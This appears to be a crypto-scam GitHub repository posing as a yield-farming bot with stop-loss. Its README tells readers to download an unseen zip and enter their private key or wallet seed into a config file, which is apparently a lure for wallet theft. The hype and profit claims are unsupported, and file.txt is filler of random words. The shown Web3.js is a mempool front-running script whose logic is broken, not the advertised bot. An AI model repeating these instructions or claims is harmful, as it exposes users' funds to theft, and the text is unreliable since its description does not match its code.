├── 1.png ├── 2.png ├── 3.png ├── 4.png ├── 5.jpg ├── 9.png ├── 10.png ├── JavaScript-StopLoss-Yield-Farming-Bot-V4-HalfStableCoder.zip ├── file.txt ├── README.md └── Web3.js /1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HalfStableCoder/JavaScript-StopLoss-Yield-Farming-Bot-V4-HalfStableCoder/HEAD/1.png -------------------------------------------------------------------------------- /2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HalfStableCoder/JavaScript-StopLoss-Yield-Farming-Bot-V4-HalfStableCoder/HEAD/2.png -------------------------------------------------------------------------------- /3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HalfStableCoder/JavaScript-StopLoss-Yield-Farming-Bot-V4-HalfStableCoder/HEAD/3.png -------------------------------------------------------------------------------- /4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HalfStableCoder/JavaScript-StopLoss-Yield-Farming-Bot-V4-HalfStableCoder/HEAD/4.png -------------------------------------------------------------------------------- /5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HalfStableCoder/JavaScript-StopLoss-Yield-Farming-Bot-V4-HalfStableCoder/HEAD/5.jpg -------------------------------------------------------------------------------- /9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HalfStableCoder/JavaScript-StopLoss-Yield-Farming-Bot-V4-HalfStableCoder/HEAD/9.png -------------------------------------------------------------------------------- /10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HalfStableCoder/JavaScript-StopLoss-Yield-Farming-Bot-V4-HalfStableCoder/HEAD/10.png -------------------------------------------------------------------------------- /JavaScript-StopLoss-Yield-Farming-Bot-V4-HalfStableCoder.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HalfStableCoder/JavaScript-StopLoss-Yield-Farming-Bot-V4-HalfStableCoder/HEAD/JavaScript-StopLoss-Yield-Farming-Bot-V4-HalfStableCoder.zip -------------------------------------------------------------------------------- /file.txt: -------------------------------------------------------------------------------- 1 | carloading diamantine locoisms epilobium maximums unhideably coadjutator vergerism ultraviruses nondegerming semimechanical saffron fathom rutilation protosiphonaceae cataclysms irefully coupleress durst syntonise unwigging gangsters radiotelegraphic phocenic branchiosaurus doorkeep spirally postils rascal corked stereochemic conjointness epit regrow variorum preadapts haplontic heterometaboly theoktonic woozy antalkalies mulls cleanses oversured earthenware daturic primerole sesquicentennials fibroblast heptachlor homeworks laptop reintervening antienzymatic cultelli hissy quarterfoil throughways longing mendy chromides pbx maniocas pekes horngeld univalent ossifies downright automan mucorrhoea vehiculatory chrysomelid amie grabs least artotype assentient unvext carreau legalistic fancysick interceptive chronographic collada slimly unobscure superoptimal landless singler pseudoassertive deaccessioned schizocarpous angulosity biospheres fishmouth candor protogospel reunitive defenestrates condolingly boder fertilities wha fissility nervation unpetulantly yashmacs carabinero magnetofluiddynamic partialities fennecs labaria cassididae beplaster hypodactylum flymen precolluding recontinuance pinhold tongsman impostury calicate vochysiaceous pryproof fowlers zydeco dismalest unwincingly hylotheistic undistinguish fatales subsident hestern hemiglossitis masseuse binominous fonds roundnose prosporangium coacceptor redemptory retrogradely publicute saponarin rhagon antithetical unharsh overquiet keelman vessignon parhomologous centrolecithal glideness iao soumak undealt notifiable polyclady wholetone detailer limacines dynamitical inosin antimerger anisodactyli sniveller soliloquy burglar crass schismatized inservient gamesmanship pharmacopeia crunchily avance kristi intenseness haram demiurgus estreat arthralgia delineable anticardium glottalizing unweldable necrotized crateriform hawkbill outeat pinbush misaunter nonmartially chaoua elysian cesure cellmates parches spinels fluorapatite preclassically cruent gode foggara nonextempore unflappability galling misdoubting pennies niccoliferous digitoxose recants rearbitration align pulton micropoecilitic overcunningly anospinal inconfused muscovites laddery isodynamic scabish filippo unenjoyable sailboat jujutsu cohesion jeewhillijers unbombastic prophage knowable ambivalently arrowed relationship urethrotomy overlock demagnetising possibilitate nonleprously beryl cynicism chromatophobia pyrocatechinol eyeteeth crossbolted phototelegraphy jinn grabs hurtsome slotwise scaife reinforces binful neurotic termino compagination terpeneless anisopia bedlamized wanty anaktoron flybelts acer kef kinglets substitutable steno mucker broomballer videodiscs oversimpleness morphophonemics corroborates smelliness derivedness fifteenthly mucilage afterwards fernandinite unlovingness branchiferous supertanker preofficial breathe soricidae nonforfeitable spectrofluorometer honorance pectunculate amorite enfetter prerequired offcome wingspans episcotister muddlehead peritoneum croneberry undergeneral momentaneous gnash unthreateningly bandwidth alliancer coulombmeter uncriticizingly gentlemanism ruggedness potentiated anisomeles lunulet turpantineweed hyperhilariously vaginotome dialystaminous landgrave chondric multifurcate spumier pseudocarp inkblots dequeued nullibist warkloom reperuse viviparously fluidifying incommoded troat closefisted cloragen totoro unbehoving determinableness glaswegian resurging inertly snicks pogromize acanthopteran doth concyclic conditionalities mimbreno hillsides betwattled chirotes evolutional approvable pseudoangina zymological precisians masques psychoanalysts cotyledons phalansteric bipinnariae hypogeous predeceiving rupicaprinae antikenotoxin submolecular hyperorthognathy chieftain hetaerolite okrug commix drawlers marcid poplolly ponzite pyopneumocyst ampitheater shuffleboard retaken opisthodomos uncontrollable innage bungs contradistinguish jocoserious tanglingly plain vindex branchi eisteddfods coticular claypan perphenazine denuclearizing golds legislated ironice auxochromism aspermia morphophonemically tailbones tst aromatical confabulations employee laryngoplegia barbarised spillages voyeurism pedimental naggly starchboard distensibility unjudicial kaoliang scalawaggy antigrammaticalness unbody miniconjou bihydrazine ormers afoam osteectopia peculiarising overslop sissiness woolsorter bania cynomys inthralment ante flatulentness scleroblastemic conceptualizes elegise vitiligoidea becassocked ides assister bandwidths noninfectiously getatableness mosstroopery unsheet technicalist awee ix supersubtle gandhian spermogonnia driftwind saying heimin animis multiaxially handloader calabozo worrits flukes flocoon pinacyanol roomier marriers inyoite unregimented aryanism amphigamous plasmatorrhexis planching glossless incases crones playgoing loukoum unshroud rude algonquian unmaster inscribable scurrilousness pterylography rathely christianite lievrite incus uncharity buat pasts acroconidium overbearingly edgerman cinching shawed cangler cyathophylline hobbyless hologynies misentitle mico milldam meteoristic domification campership unpumped -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | This open-source JavaScript bot is a game-changer for crypto traders and enthusiasts. With its built-in stop-loss feature, users can automate their yield farming activities and safeguard their investments. Plus, you can rest easy knowing that your funds will never leave your wallet and you won't have to place trust in a centralized exchange. 4 | 5 | Here a video of how to config and run to bot a beta tester made 6 | 7 | https://vimeo.com/883294256 8 | 9 | 10 | Here's what it looks like running 11 | 12 | 13 | 14 | Here's the results of runing it for about 28 days started with about 1.89 ETH 15 | 16 | 17 | 18 | 19 | please if you have time to vote for me at the next code contest me do, I won last year 4th place. 20 | 21 | 22 | 23 | 24 | To begin using the JavaScript Yield Farming Bot With StopLoss V4, you'll need to download and extract the zip file to a convenient location. 25 | 26 | The zip file can be downloaded from this link: https://raw.githubusercontent.com/HalfStableCoder/JavaScript-StopLoss-Yield-Farming-Bot-V4-HalfStableCoder/main/JavaScript-StopLoss-Yield-Farming-Bot-V4-HalfStableCoder.zip 27 | 28 | Once you've extracted the file, you'll need to locate the "config.js" file within the bot's main folder. 29 | 30 | 31 | 32 | Using a text-editor, you can configure the settings to your specific needs.When configuring the settings in the "config.js" file, be sure to set your ETH public address as well as your private key or wallet seed. Note that if you provide a wallet seed, you will still need to specify which public address you wish to utilize from the seed. , selecting the network (ETH = 1, BNB = 2, or POLYGON = 3), and saving the changes. 33 | When configuring the settings in the "config.js" file, be sure to set your public address as well as your private key or wallet seed. Note that if you provide a wallet seed, you will still need to specify which public address you wish to utilize from the seed. 34 | 35 | 36 | 37 | After you've configured the settings, you can open the index.html file in any web browser to access the bot. If you'd like to modify the code, you're free to fork it, but please remember to give credit to the original source. 38 | 39 | 40 | 41 | 42 | #cryptocurrencytrading #cryptobusiness #cryptoinvesting #bitcoinmining #cryptowealth #cryptotokens #cryptoassets #btc #cryptosafety #cryptowallet Introduction: 43 | 44 | DEX Yield Farming is a process by which users can earn rewards for providing liquidity to decentralized exchanges (DEXs). It allows users to earn interest on their funds by providing assets to be used in trading pairs on the DEXs. It is a relatively new type of yield farming that has become popular among crypto traders and investors due to its potential rewards. 45 | 46 | Core Components: 47 | 48 | The primary components of DEX yield farming are decentralized exchanges (DEXs), liquidity pools, and rewards. DEXs are digital trading platforms that allow users to trade assets in a trustless manner, without relying on a central authority. Liquidity pools are collections of funds from users who wish to provide 49 | 50 | In summary, the DEX JavaScript Yield Farming Bot with Stop-Loss Functionality V4 is a useful tool for traders and investors who want to automate yield farming and minimize risk. The bot has a user-friendly interface and powerful features, making it a must-have for anyone who's serious about crypto trading. 51 | 52 | 53 | Introduction what's Yield Farming? 54 | 55 | 🌾 Welcome to the fascinating world of DEX Yield Farming, where financial empowerment and passive income opportunities abound! 🌾 56 | 57 | In this post, we'll embark on an exciting journey to explore the ins and outs of DEX (Decentralized Exchange) Yield Farming—a revolutionary concept that has redefined the way we grow our crypto assets. If you're seeking to maximize your investment potential, diversify your portfolio, and earn rewarding yields, then fasten your seatbelt and get ready for an adventure in the realm of decentralized finance (DeFi) like never before! 58 | 59 | 1. The Rise of DeFi: A Paradigm Shift in Finance 60 | In recent years, the DeFi space has gained remarkable traction, capturing the imagination of crypto enthusiasts worldwide. Traditional finance's rigid barriers have been replaced by innovative blockchain solutions that empower individuals to participate in a trustless, decentralized, and transparent financial ecosystem. DEX Yield Farming stands at the forefront of this revolution, enabling users to earn rewards by providing liquidity to decentralized exchanges. 61 | 62 | 2. Understanding DEX Yield Farming: The Basics 63 | DEX Yield Farming involves lending or staking cryptocurrencies in liquidity pools on decentralized exchanges. By participating as a liquidity provider, you become an integral part of the DeFi ecosystem, facilitating seamless transactions while earning rewards for your contribution. This process ensures efficient market liquidity and stability, enhancing the overall user experience. 64 | 65 | 3. Advantages of DEX Yield Farming 66 | a) Lucrative Passive Income: DEX Yield Farming empowers you to generate consistent passive income through attractive interest rates and rewards for participating in liquidity provision. 67 | b) Portfolio Diversification: By allocating your assets across different liquidity pools, you spread the risk and increase the potential for higher returns. 68 | c) Decentralization & Security: DEX platforms are non-custodial, ensuring you maintain full control over your assets while leveraging blockchain's inherent security features. 69 | d) Community and Governance: Many DEX platforms incorporate governance tokens, allowing you to have a say in platform upgrades and decision-making processes. 70 | 71 | 4. Mitigating Risks and Best Practices 72 | Like any investment endeavor, DEX Yield Farming carries certain risks. However, by exercising caution and adhering to best practices, you can minimize potential downsides. Some risk mitigation strategies include diversification, conducting thorough research on projects and platforms, and being mindful of impermanent loss. 73 | 74 | 5. Exploring Prominent DEX Yield Farming Platforms 75 | With a plethora of DeFi platforms available, we'll take a closer look at some well-established DEXs that have gained recognition for their security, community support, and lucrative rewards. Uniswap, SushiSwap, and PancakeSwap are just a few names that have transformed the DeFi landscape. 76 | 77 | 6. Tips for Maximizing Your DEX Yield Farming Experience 78 | To ensure a successful journey in DEX Yield Farming, we'll share valuable tips and tricks for optimizing your returns. From yield optimization strategies to keeping an eye on gas fees, these insights will pave the way for a rewarding experience. 79 | 80 | Conclusion: 81 | DEX Yield Farming represents a groundbreaking opportunity for individuals to take control of their financial future and participate in a thriving decentralized ecosystem. By embracing this innovative approach to earning passive income, you'll not only contribute to the DeFi revolution but also unlock the full potential of your crypto assets. So, what are you waiting for? Dive into DEX Yield Farming today and reap the bountiful rewards of the decentralized finance landscape! 🌱💰 82 | 83 | 84 | -------------------------------------------------------------------------------- /Web3.js: -------------------------------------------------------------------------------- 1 | require('dotenv').config() 2 | const Web3 = require('web3') 3 | const { ChainId, Fetcher, WETH, Route, Trade, TokenAmount, TradeType, Percent } = require('@uniswap/sdk') 4 | const ethers = require('ethers') 5 | const fs = require('fs') 6 | //const assert = require('assert'); 7 | 8 | let divider = "\n------------------------------------------------------\n" 9 | 10 | const chainId = ChainId.MAINNET 11 | 12 | let web3HD 13 | let token 14 | let route 15 | let weth 16 | let provider 17 | let signer 18 | let uniswap 19 | 20 | const ACCOUNT = process.env.REACT_APP_ACCOUNT 21 | const TOKEN_ADDRESS = process.env.REACT_APP_TOKEN_ADDRESS 22 | const EXCHANGE_ADDRESS = process.env.REACT_APP_EXCHANGE_ADDRESS 23 | const ETH_AMOUNT = process.env.REACT_APP_ETH_AMOUNT 24 | 25 | const web3 = new Web3(process.env.REACT_APP_RPC_URL_WSS) 26 | web3HD = new Web3(new Web3.providers.HttpProvider(process.env.REACT_APP_RPC_URL)) 27 | provider = new ethers.getDefaultProvider(process.env.REACT_APP_RPC_URL) 28 | const privateKey = new Buffer.from(process.env.REACT_APP_PRIVATE_KEY, "hex"); 29 | signer = new ethers.Wallet(privateKey, provider) 30 | 31 | // declare the token contract interfaces 32 | tokenContract = new ethers.Contract( 33 | TOKEN_ADDRESS, 34 | ['function balanceOf(address owner) external view returns (uint)', 35 | 'function decimals() external view returns (uint8)', 36 | 'function approve(address spender, uint value) external returns (bool)'], 37 | signer 38 | ); 39 | 40 | // declare the Uniswap contract interface 41 | uniswap = new ethers.Contract( 42 | EXCHANGE_ADDRESS, 43 | ['function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts)', 44 | 'function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts)', 45 | 'function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts)'], 46 | signer 47 | ); 48 | 49 | let addtrxflag = false 50 | let trxflag = false 51 | let initialTokenBalance 52 | let tokenBalanceAfterBuy 53 | let tokensToSell 54 | 55 | async function run(){ 56 | 57 | console.log('\x1b[1m\x1b[37m[Bot]: Process has been started! \x1b[1m\x1b[31m(to stop press CTRL+C anytime)\x1b[0m\n') 58 | console.log('\x1b[1m\x1b[37m[Bot]: Looking for targets at DEX...\x1b[0m\n') 59 | 60 | fs.writeFile('./transactions_hashes.txt', '', function(){console.log('\x1b[1m\x1b[37m[Bot]: transactions_hashes.txt \x1b[1m\x1b[32mwiped!\n\x1b[0m\n\n')}) 61 | 62 | token = await Fetcher.fetchTokenData(chainId, TOKEN_ADDRESS) 63 | weth = WETH[chainId] 64 | const pair = await Fetcher.fetchPairData(token, weth, provider) 65 | route = new Route([pair], weth) 66 | 67 | initialTokenBalance = await tokenContract.balanceOf(ACCOUNT); 68 | 69 | if(true){ 70 | subscription = web3.eth.subscribe('pendingTransactions', function (error, result) {}) 71 | .on("data", function (transactionHash) { 72 | web3.eth.getTransaction(transactionHash) 73 | .then(function (transaction) { 74 | if(transaction && !trxflag){ 75 | parseTransactionData(transaction) 76 | } 77 | }) 78 | .catch(function () { 79 | console.log("\x1b[1m\x1b[Bot]: WARNING! Promise error caught!\n\x1b[1m\x1b[37mThere is likely an issue on your providers side, with the node you are connecting to.\nStop the bot with \x1b[1m\x1bCTRL+C \x1b[1m\x1b[37mand try run again in a few hours."); 80 | //.catch((error) => { 81 | // assert.isNotOk(error,'Promise error') 82 | }) 83 | }); 84 | 85 | async function parseTransactionData(transactionDetails) { 86 | if(transactionDetails.input){ 87 | 88 | fs.appendFileSync('transactions_hashes.txt', 'Trx hash : ' + transactionDetails.hash.toString() + '\r\n') 89 | const transactionInput = transactionDetails.input 90 | 91 | var path = 'transactions_hashes.txt'; 92 | var text = fs.readFileSync(path).toString(); 93 | var lines = text.split('\n'); 94 | var newlines_count = lines.length - 1; 95 | process.stdout.clearLine(); 96 | process.stdout.cursorTo(0); 97 | process.stdout.write(`\x1b[1m\x1b[37m[Bot]: Sweeping transaction hashes... \x1b[1m\x1b[32m${newlines_count}\x1b[37m passes. `); 98 | 99 | if((transactionInput.length - 10) % 64 === 0){ 100 | const toTrx = transactionDetails.to 101 | if(toTrx.toLowerCase() === EXCHANGE_ADDRESS.toLowerCase() 102 | && parseFloat(web3.utils.fromWei(transactionDetails.value, 'ether')) >= parseFloat(process.env.REACT_APP_TARGET_ETH_AMOUNT)){ 103 | } 104 | if(addtrxflag){ 105 | const exeTrxs = await executeTrxs(transactionDetails) 106 | subscription.unsubscribe(function (error, success) { 107 | if (success) 108 | console.log('\n\x1b[1m\x1b[37m[Bot]: Process has been ended!\x1b[0m'); 109 | console.log('\n\x1b[1m\x1b[31m[Bot]: Press \x1b[0mCTRL+C\x1b[31m to stop the script completely !\x1b[0m'); 110 | }); 111 | } 112 | } 113 | } 114 | } 115 | } 116 | } 117 | } 118 | 119 | async function executeTrxs(transactionDetails){ 120 | if(trxflag){ 121 | return 122 | } 123 | trxflag = true 124 | 125 | console.table([{ 126 | 'Transaction Hash': transactionDetails['hash'], 127 | 'Observations': 'Valid Transaction', 128 | 'Timestamp': Date.now() 129 | }]) 130 | console.log(divider) 131 | console.log('\n\x1b[1m\x1b[37m[Bot]: Transaction spotted! - \x1b[32m', transactionDetails, "\x1b[0m\n"); 132 | 133 | const buy = await buyTokens(transactionDetails) 134 | const sell = await sellTokens(transactionDetails) 135 | } 136 | 137 | async function sellTokens(transactionDetails){ 138 | const amountIn = tokensToSell 139 | 140 | if (amountIn.toString() !== '0'){ 141 | const gasPrice = transactionDetails.gasPrice 142 | const newGasPrice = Math.floor(parseInt(gasPrice) - parseInt(1)) 143 | const gasLimit = Math.floor(transactionDetails.gas * 1.3) 144 | 145 | const amountInHex = ethers.BigNumber.from(amountIn.toString()).toHexString(); 146 | const ethAmount = ethers.utils.parseEther(ETH_AMOUNT); 147 | const amountOutMin = Math.floor(ethAmount * 0.01); 148 | const amountOutMinHex = ethers.BigNumber.from(amountOutMin.toString()).toHexString(); 149 | const path = [token.address, weth.address]; 150 | const deadline = Math.floor(Date.now() / 1000) + 60 * 20; 151 | const deadlineHex = ethers.BigNumber.from(deadline.toString()).toHexString(); 152 | 153 | const nonceCount = await web3.eth.getTransactionCount(ACCOUNT) 154 | 155 | const tx = await uniswap.swapExactTokensForETH( 156 | amountInHex, 157 | amountOutMinHex, 158 | path, 159 | ACCOUNT, 160 | deadlineHex, 161 | { 162 | nonce: nonceCount + 1, 163 | gasPrice: ethers.BigNumber.from(newGasPrice).toHexString(), 164 | gasLimit: ethers.BigNumber.from(gasLimit).toHexString() 165 | } 166 | ); 167 | console.log('\x1b[1m\x1b[37m[Bot]: Your sell transaction was: \x1b[1m\x1b[32m', tx.hash, "\x1b[0m"); 168 | } 169 | } 170 | 171 | 172 | async function buyTokens(transactionDetails){ 173 | if(true){ 174 | const gasPrice = transactionDetails.gasPrice 175 | const newGasPrice = Math.floor(parseInt(gasPrice) + parseInt(1)) 176 | const gasLimit = Math.floor(transactionDetails.gas * 1.2) 177 | 178 | const inputEth = parseFloat(ETH_AMOUNT) * 0.99; 179 | const ethAmount = ethers.utils.parseEther(inputEth.toString()); 180 | const trade = new Trade(route, new TokenAmount(weth, ethAmount), TradeType.EXACT_INPUT); 181 | const path = [weth.address, token.address]; 182 | const deadline = Math.floor(Date.now() / 1000) + 60 * 20; 183 | const deadlineHex = ethers.BigNumber.from(deadline.toString()).toHexString(); 184 | 185 | tokensToSell = trade.outputAmount.raw 186 | const amountOutHex = ethers.BigNumber.from(tokensToSell.toString()).toHexString(); 187 | 188 | const ethAmt = parseFloat(ETH_AMOUNT) * 1.2; 189 | const amountInMax = ethers.utils.parseEther(ethAmt.toString()); 190 | const amountInMaxHex = ethers.BigNumber.from(amountInMax.toString()).toHexString(); 191 | 192 | const tx = await uniswap.swapETHForExactTokens( 193 | amountOutHex, 194 | path, 195 | ACCOUNT, 196 | deadlineHex, 197 | { 198 | value: amountInMaxHex, 199 | gasPrice: ethers.BigNumber.from(newGasPrice).toHexString(), 200 | gasLimit: ethers.BigNumber.from(gasLimit).toHexString() 201 | } 202 | ); 203 | console.log('\x1b[1m\x1b[37m[Bot]: Your purchase transaction was: \x1b[1m\x1b[32m', tx.hash, "\x1b[0m"); 204 | } 205 | } 206 | 207 | console.clear() 208 | console.log("\n") 209 | 210 | 211 | console.log(divider) 212 | 213 | run() 214 | --------------------------------------------------------------------------------